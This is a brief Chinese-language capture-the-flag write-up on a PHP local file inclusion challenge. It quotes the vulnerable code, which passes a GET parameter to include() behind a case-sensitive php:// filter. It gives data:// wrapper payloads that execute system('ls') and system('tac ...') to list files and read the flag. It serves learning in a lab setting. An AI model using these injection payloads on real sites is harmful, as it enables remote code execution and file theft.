payload:不过滤大小写,让page=php://
?page=data:text/plain,<?php system("ls") ?>
?page=data:text/plain,<?php system("tac fl4gisisish3r3.php") ?>
data伪协议
本例特殊之处在于: 知道文件, 但是 调用 cat、tail、 less、more 并不能显示文件内容,但是 有一个命令 tac:将文件全部内容从尾到头反向连续输出到标准输出(屏幕)上
通过代码知道是文件包含漏洞
https://blog.csdn.net/Vansnc/article/details/82528395(漏洞分析的网址)
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page']; /($page变量等于网页获取到的page)
while (strstr($page, "php://")) { /(判断php://是否出现在page变量中,这个函数对大小写敏感)
$page=str_replace("php://", "", $page); /(把$page变量中的php://替换成空格,“”就是空格)
}
include($page);
?>
payload:?page=data:text/plain,<?php system("ls");?> 看文件目录
?page=data:text/plain,<?php system("文件名字");?> f12源码里有flag